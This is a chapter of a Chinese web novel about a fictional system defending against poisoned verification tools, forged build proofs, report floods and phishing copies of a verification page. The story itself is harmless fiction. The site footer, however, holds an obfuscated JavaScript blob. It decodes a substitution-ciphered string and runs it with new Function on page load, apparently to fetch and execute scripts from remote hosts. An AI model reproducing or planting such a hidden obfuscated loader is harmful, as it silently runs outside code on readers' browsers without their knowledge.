首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第196章 校验投毒

下载APP,无广告、完整阅读
    第196章校验投毒(第1/2页)
    DAY-RPT-27640。
    抽签抗投喂协议生效后,见证池偏斜指数回落,候选资格闸门与冷却期让短期灌入难以生效;多方承诺-揭示的随机源让“随机性不可信”从信仰争论退回可校验事实;三层随机性证明卡让复杂不再成为门槛;投喂检测隔离缓冲池,不点名、不封禁,叙事难以抓住受害者戏剧;见证护盾压住“见证人靶子化”的复发风险。
    一切运行得比预期更稳。
    直到机要监把一条曲线拉到穹顶会议的中央屏幕上——那不是偏斜指数,也不是投喂节奏,而是一条几乎垂直抬升的柱状图:**校验失败举报量**。
    存在性编号:ANL-VERIFY-01
    标题:**校验失败激增:外部“验证工具”报告与内部证明链冲突**
    沈绫先是一怔,随即直觉性发紧:“随机性证明不是能一键校验吗?怎么会失败激增?”
    机要监的声音很平:“内部校验全部通过,外部‘一键校验截图’显示大面积失败。我们怀疑不是证明链坏了,而是校验器被投毒。”
    江砚抬眼,眼神像压住光的石头:“校验器?”
    机要监点头:“他们不碰我们的随机,他们碰别人用来验证我们的工具。”
    这一句话落下,屋子里短暂地静了。
    守望纪元一路把权力从人名搬回结构,靠的就是可验证:
    你不必相信我,你可以验。
    可当“验”本身被夺走,整座证明大厦会被抽空地基。
    敌人终于把战场推进到证明体系的最底层:
    不是证明链、不是宪章、不是抽签。
    而是**校验工具**。
    他们要夺走的不是随机性,是“你以为你在验证”的那条路。
    ---
    ###一、校验投毒的恐怖:证明还在,但你看到的验证结果是假的
    机要监把外部传播的“校验失败截图”分门别类贴出来。几乎全部长一个样:
    *红色叉号:`VerificationFailed`
    *小字:`commithashmi**atch`或`revealnotfound`
    *下面一行:`Possiblytamperedproof.Reporttooversightcommittee.`
    *右下角:一个像极了官方校验入口的标识
    这些截图很有杀伤力,因为它们满足了人类对“确凿”的想象:
    你不懂哈希也没关系,红叉你懂。
    你不懂承诺-揭示也没关系,“被篡改”你懂。
    你不懂过程证明也没关系,“举报委员会”你懂。
    更致命的是:
    截图不是一句话,而是一个“你看”的证据。
    视觉证据会压过任何解释。
    可系统内审计链显示:
    相同编号的随机性证明在内部校验全部通过,三方揭示哈希一致,候选池快照一致,抽签结果一致。
    存在性编号:ANL-VERIFY-01A
    内容:内部校验通过率100%;外部失败截图覆盖27%证明卡,且集中于同一批次窗口。
    这说明一个事实:
    不是证明链被篡改,而是**外部校验器在造失败**。
    沈绫低声:“他们在制造‘你验不出来,所以只能信权威’。”
    江砚点头:“当验证被污染,权威就会出现。权威出现,开关就复活。”
    ---
    ###二、谁在传播这些校验器:验伪所
    外界很快出现一个新名字,带着“理性”与“公共安全”的光环:
    **验伪所**。
    他们不攻击联盟,不攻击宪章,也不攻击抽签协议。
    他们只做一件事:推广“更可靠”的一键校验工具。
    口号简洁得像广告:
    >“官方校验器太复杂、太慢、太不透明。
    >用验伪所校验器,三秒看红绿。
    >我们是第三方,更客观。”
    第三方这三个字,是他们的盾牌。
    他们甚至公开源代码链接——但链接指向的是一个“镜像仓库”,不是主仓;发布的是编译包,不是可复现构建;下载入口分散在多个外扩镜像站点。
    对普通用户而言,这些细节没有意义。
    他们只看见一句话:第三方更客观。
    机要监做了追踪:
    存在性编号:ANL-VERIFY-02
    ANL-VERIFY-02A:失败截图设备信息聚类与验伪所插件匹配度高
    ANL-VERIFY-02B:下载入口集中在同一镜像站点群
    ANL-VERIFY-02C:插件版本号与公开源码提交不一致(疑似“公开源码,私下发布”)
    结论很清楚:验伪所推广的校验器存在“构建不一致”。
    公开源码只是烟雾,真正运行在用户电脑上的可能是另一份东西。
    他们不是在验证证明。
    他们在验证人们的信任。
    ---
    ###三、校验投毒的真正路径:不是让你相信他们,而是让你不相信任何人
    验伪所不需要最终成为权威。
    他们只要让所有校验器互相打架:你这边显示绿,他那边显示红。
    当世界进入“谁都说自己对”,人会本能地想要一个终极裁判——委员会、专家、终审席。
    这正是清证会没拿到的东西:终审权威。
    他们换了路:先污染验证,再请你自己迎接权威。
    江砚对首衡说:“他们要制造一种人类最受不了的状态——真伪不明。”
    首衡问:“那我们就发布官方校验器,让大家只用官方?”
    江砚摇头:“那会变成权威依赖。我们要的是:任何人都能验证,但校验器本身也必须可验证。”
    守望纪元的回答不能是“信我”。
    只能是:“你可以验证验证器。”
    ---
    ###四、校验器为何是入口:因为它决定你看到的世界
    当证明链变复杂,人们越来越依赖工具。
    工具的界面就是世界的界面。
    你以为你在看真相,其实你在看工具的呈现。
    敌人抢不到证明链,就抢工具。
    抢工具,就抢呈现。
    抢呈现,就抢判断。
    抢判断,就抢权力。
    这和“先例投毒”高度同构:
    当你依赖检索引擎,敌人就投毒排序;
    当你依赖校验器,敌人就投毒结果。
    区别在于:
    排序投毒还能靠反例前置纠偏;
    校验投毒会直接击穿“你能验”的根。
    所以,这一关必须更硬。
    ---
    ###五、江砚的核心判断:校验必须“多实现”,且实现必须“可复现构建”
    只靠发布一个官方校验器无法解决问题。
    那会让“官方”变成权威中心。
    敌人正希望你这么做,因为他们可以改叙事:
    “你看,只有官方能验,黑箱!”
    正确答案是:
    让验证的可信来自**多实现一致**,而不是来自“谁说”。
    也就是:
    *至少三套独立实现的校验器(不同团队、不同语言、不同构建链)
    *同一证明卡在三套实现中结果一致
    *任意一套出现红叉,其它两套仍能给出可查差异原因
    *校验器的发布必须可复现构建:任何人能从公开源码构建出与发布包一致的二进制哈希
    这会把投毒成本抬到难以承受:
    你要投毒,就得同时投毒三套独立实现,还要让它们在可复现构建的审计下保持一致——几乎不可能规模化。
    江砚将这套思路命名为:**校验共识**。
    ---
    ###六、校验共识协议:验证器也要有证明链
    存在性编号:VERIFY-CONS-01
    名称:**校验共识协议**
    VERIFY-CONS-01A:三实现校验器
    *V1:联盟主实现(参考实现)
    *V2:独立实现(由随机抽签的外部开发团维护)
    *V3:对照实现(由另一条独立供应链维护)
    三套实现必须不同语言/不同构建工具链,避免同源缺陷。
    VERIFY-CONS-01B:可复现构建
    *每套实现发布二进制包必须可从公开源码在固定构建环境复现
    *复现成功输出“构建证明卡”:源码提交哈希、构建环境哈希、产物哈希
    *构建证明卡可外部一键校验
    VERIFY-CONS-01C:校验一致性回执
    *任意证明卡的校验结果必须给出“三实现一致”标识
    *若不一致,输出差异报告:差异在哪个字段(commit/reveal/候选池快照/结果哈希)
    *差异报告不作最终裁定,只触发“校验器调查链”
    VERIFY-CONS-01D:校验器发布抽检见证
    *延续LOT-GUARD的随机见证,但见证对象是“构建证明卡生成过程”
    *见证人不接触源码内容,只验证过程与哈希链一致性
    VERIFY-CONS-01E:校验器镜像治理
    *官方入口只发布“证明卡+校验器构建证明卡”,不直接引导下载单一二进制
    *任何第三方校验器若不提供可复现构建证明,结果默认降权为“未经证明的校验输出”
    这套协议的关键,是把“校验器”也纳入“零显影透明”:
    你不必相信哪一个校验器,你只要看它有没有构建证明卡;
    你不必信某个人写的工具,你只要看三实现是否一致;
    你不必在信仰战里站队,你只要一键校验哈希链。
    敌人想让世界进入“谁都说自己对”。
    校验共识让世界回到“谁都能验”。
    ---
    ###七、校验器调查链:当结果冲突,不求权威裁定,只求差异可归因
    验伪所的红叉截图最危险的一点是:它引导你“举报委员会”。
    举报委员会意味着终审权威。
    守望纪元必须拒绝这条路。
    结果冲突不是委员会的理由,而是调查链的触发。
    存在性编号:VERIFY-INVEST-01
    名称:**校验器调查链**
    VERIFY-INVEST-01A:触发条件
    *三实现校验结果不一致
    *或外部校验输出红叉但无法提供构建证明卡
    *或同一构建证明卡被校验失败(伪造)
    VERIFY-INVEST-01B:归因四步
    *G1:证明卡字段差异对照(commit/reveal/池快照/结果)
    *G2:校验器构建证明卡校验(产物哈希是否匹配)
    *G3:运行环境差异(本地系统时钟/代理/缓存是否污染,但不以此为最终解释)
    *G4:供应链路径回溯(下载入口、镜像站、签名链)
    VERIFY-INVEST-01C:输出
    *若是校验器投毒:生成L2反例卡(不可做结论:某类未证明校验器不可作为证据)
    (本章未完,请点击下一页继续阅读)第196章校验投毒(第2/2页)
    *若是镜像污染:生成“镜像风险提示卡”(L3模式)
    *若是证明卡真异常:触发LOT-GUARD级别的更高审计(极少数)
    这条调查链的核心精神是:
    冲突不需要权威裁判,需要差异归因。
    归因一旦可查,叙事就很难把冲突当成信仰战争。
    ---
    ###八、第一轮实战:验伪所红叉被三实现校验打回“未经证明输出”
    校验共识协议上线后,联盟没有去封杀验伪所,也没有与其吵架。
    他们只做两件事:
    1)公开三实现校验器的构建证明卡
    2)把“未经证明的校验输出”标注规则写进解释回执
    很快,外界出现同样的红叉截图。
    但这次,截图下方自动出现一张说明卡(与MISREAD机制联动):
    *该红叉来自未提供构建证明卡的第三方校验器
    *三实现校验已一致通过(给出三实现一致标识)
    *如需反证,请提供第三方校验器构建证明卡哈希以便调查链归因
    红叉传播热度明显下降。
    因为红叉不再能充当“定罪证据”。
    它被迫成为“需要证明的主张”。
    机要监记录:
    存在性编号:ANL-VERIFY-03
    ANL-VERIFY-03A:外部红叉传播峰值下降
    ANL-VERIFY-03B:三实现一致标识点击率上升
    ANL-VERIFY-03C:固定委员会支持度未上升
    敌人最讨厌的场景就是:
    你说我错?请你提供证明你怎么验的。
    当你必须证明你的校验器,你的红叉就不再廉价。
    ---
    ###九、敌人的升级:他们开始伪造“构建证明卡”
    当“未提供构建证明”这条路堵住后,敌人会升级:
    伪造构建证明卡,让自己看起来合规。
    果然,一周后出现了新的截图:
    红叉下方附带一张“构建证明卡”,列出源码哈希、环境哈希、产物哈希。
    看起来很专业。
    但伪证校验入口一键校验后,结果显示:
    该构建证明卡的哈希链无法匹配任何公开源码仓库提交;
    产物哈希也无法在可复现构建环境中复现。
    伪造当场被标注为“伪证片段”,进入误读样本库,并被去权重加倍。
    存在性编号:MISREAD-VERIFY-01
    MISREAD-VERIFY-01A:伪造构建证明卡校验失败
    MISREAD-VERIFY-01B:伪证标注卡自动生成
    MISREAD-VERIFY-01C:伪证模板入库,未来更快识别
    敌人想把“证明”也投毒。
    守望纪元的应对是:证明必须可校验,且校验入口必须一键化。
    复杂不是护城河,护城河是“谁都能验”。
    ---
    ###十、校验疲劳:他们的新武器不是假红叉,而是“红叉洪潮”
    当伪造被快速识别,敌人会换成更低成本的攻击:
    不追求让你相信红叉为真,只追求让你被红叉淹没。
    他们开始在每个证明卡下面刷屏式留言:
    “我这边验是红叉”“我朋友也是红叉”“你们快解释”。
    并附上各种不同版本的截图。
    这些截图大多数来自同一批未证明校验器,甚至同一设备指纹。
    但普通人看到的是:红叉好多。
    红叉好多会引发一种心理:
    “就算是假,也太乱了。我不想再看这些哈希了。”
    这就是校验疲劳。
    当人厌倦验证,人就会回到信仰:
    “算了,听专家的。”
    专家就是权威。
    权威就是开关。
    敌人意识到:
    他们不必赢得“真假”,只要赢得“耐心”。
    江砚看到红叉洪潮,并没有提高解释密度。
    解释越多,越疲劳。
    疲劳越大,越容易让人放弃。
    他反而做了一个“减噪”的动作:
    把红叉洪潮的处理引入去潮与聚合。
    ---
    ###十一、校验去潮与聚合:把红叉变成可统计而非可恐慌
    存在性编号:VERIFY-DECAY-01
    名称:**校验去潮与聚合机制**
    VERIFY-DECAY-01A:红叉报告进入去潮池批次处理(不即时占用公共注意力)
    VERIFY-DECAY-01B:按校验器指纹聚类合并
    *同一校验器版本/同一设备指纹/同一镜像站来源的红叉归为一包
    VERIFY-DECAY-01C:每批次只发布“红叉来源分布摘要”
    *多少来自三实现一致通过
    *多少来自未证明校验器
    *多少来自伪证构建证明
    *多少来自疑似投喂脚本
    VERIFY-DECAY-01D:对“未证明校验器”红叉默认不触发额外解释,只提示“需构建证明卡”
    VERIFY-DECAY-01E:对“伪证”红叉直接标注并去权重
    VERIFY-DECAY-01F:对“真正不一致”才触发调查链并公开差异归因回执
    这样,红叉洪潮无法制造恐慌:
    你看到的是统计与归因,而不是无穷无尽的截图。
    截图被消解为数据,数据被消解为来源分布。
    敌人靠情绪占领注意力。
    去潮与聚合让他们的情绪税收不到。
    ---
    ###十二、一次真正的不一致:三实现出现差异,但调查链阻止了终审呼声
    校验共识上线后,并非永远完美。
    某次更新中,V2独立实现对“候选池快照格式”的解析与V1/V3存在细微差异,导致V2判定失败。
    这在敌人眼里是千载难逢的机会:
    他们立刻说:“你看,三实现都不一致,还谈验证?”
    如果这时联盟急于解释,就会被拖入权威叙事:
    “官方解释是……请大家相信。”
    江砚没有这么做。
    他启动VERIFY-INVEST调查链:
    *G1:差异锁定在“快照格式字段”
    *G2:构建证明卡校验通过,说明V2未被投毒
    *G3:运行环境一致
    *G4:供应链无异常
    结论:不是攻击,是实现差异。
    处理方式:在试验场对V2解析规则做修正,修正版本可复现构建并发布构建证明卡。
    并生成L2反例卡:**不可做结论:校验器解析规则变更必须同步三实现,否则会制造伪不一致,引发信任波动。**
    全程没有终审委员会。
    只有差异归因与修正。
    外界看到的是:
    不一致发生了,但它被机制吸收,而不是被权威拍板。
    这反而增强信任:因为系统敢承认并修复,而不是用权威压下去。
    ---
    ###十三、敌人的再升级:他们盯上“一键校验入口”,试图做钓鱼替换
    当校验器投毒、伪证、红叉洪潮都被压住后,敌人可能换成更传统的方式:
    钓鱼替换“一键校验入口”。
    他们伪造一个与官方几乎一致的校验页面,嵌入验伪所插件下载链接。
    用户以为自己在官方入口验证,实际上在下载投毒校验器。
    机要监迅速捕捉到镜像站点群的DNS与证书异常:
    存在性编号:ANL-VERIFY-04
    ANL-VERIFY-04A:钓鱼页面与官方页面DOM相似度高
    ANL-VERIFY-04B:下载链接指向验伪所镜像站
    ANL-VERIFY-04C:传播路径与历史“镜像站投喂”重合
    江砚的应对不是“封站”。
    封站会引发政治冲突,并且永远封不完。
    他采用“入口签章”:官方校验入口的所有关键元素都带有可校验的页面签名,浏览器插件与离线校验器都能验证页面签名是否属于官方。
    存在性编号:VERIFY-PAGE-01
    VERIFY-PAGE-01A:校验入口页面签名
    VERIFY-PAGE-01B:页面签名校验失败自动提示“可能为仿冒页面”
    VERIFY-PAGE-01C:仿冒页面模板入库,未来更快识别
    VERIFY-PAGE-01D:页面签名不暴露用户信息,不产生显影碎屑
    这让钓鱼替换的收益大幅下降:
    你可以仿,但你过不了签章校验。
    过不了就会被提示,提示会降低转化。
    敌人想用低成本替换入口。
    入口签章让替换成本抬高。
    ---
    ###十四、校验可信的最后一环:让“校验工具链”也能被轻量参与者理解
    如果校验体系变得太技术化,敌人仍能用“看不懂=黑箱”攻击。
    守望纪元必须保持一条原则:复杂存在,但普通人不必承担复杂。
    因此江砚把校验体系做成“二句话”模型:
    *你只需知道:**三实现一致=通过**
    *你只需知道:**若不一致=差异归因回执可查**
    其余复杂内容留给技术层与抽检团。
    存在性编号:VERIFY-UX-02
    VERIFY-UX-02A:普通层两句模型
    VERIFY-UX-02B:技术层完整哈希链
    VERIFY-UX-02C:见证层抽检签名摘要
    这样,信任不会因为技术门槛而变成权威依赖。
    信任来自可验证,而不是来自你必须成为专家。
    ---
    ###十五、尾声:他们夺走不了随机,只能试图夺走你“验证随机”的工具
    DAY-RPT-28000。
    校验投毒被识别并处置:
    校验共识协议建立三实现校验器与可复现构建,校验器本身拥有构建证明卡;
    校验器调查链用差异归因替代委员会裁定;
    伪证校验机制让仿构建证明卡失效;
    校验去潮与聚合把红叉洪潮从恐慌变成统计来源分布;
    页面签章阻断钓鱼替换入口;
    三层展示与两句模型让复杂不成为门槛。
    验伪所试图用红叉、伪证、洪潮与钓鱼让“验证”失去可信,从而逼出权威终审。
    规则没有成立委员会,也没有回到“请相信”。
    规则把验证工具也纳入可验证结构,让“你可以验”这句话重新落地。
    在守望纪元里,证明链很强,但证明链不是最后的防线。
    最后的防线是:**任何人都能验证,不依赖任何人的权威。**
    当校验器也能被验证,
    当验证不再被投毒,
    开关就无法借“真伪不明”复活成终审。
    星河仍在演化,敌人仍会迁移入口。
    但只要验证本身仍可被验证,守望纪元就不会被拖回那个只能信人名、不能信结构的旧世界。

一秒记住【882小说网】
882xsw.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();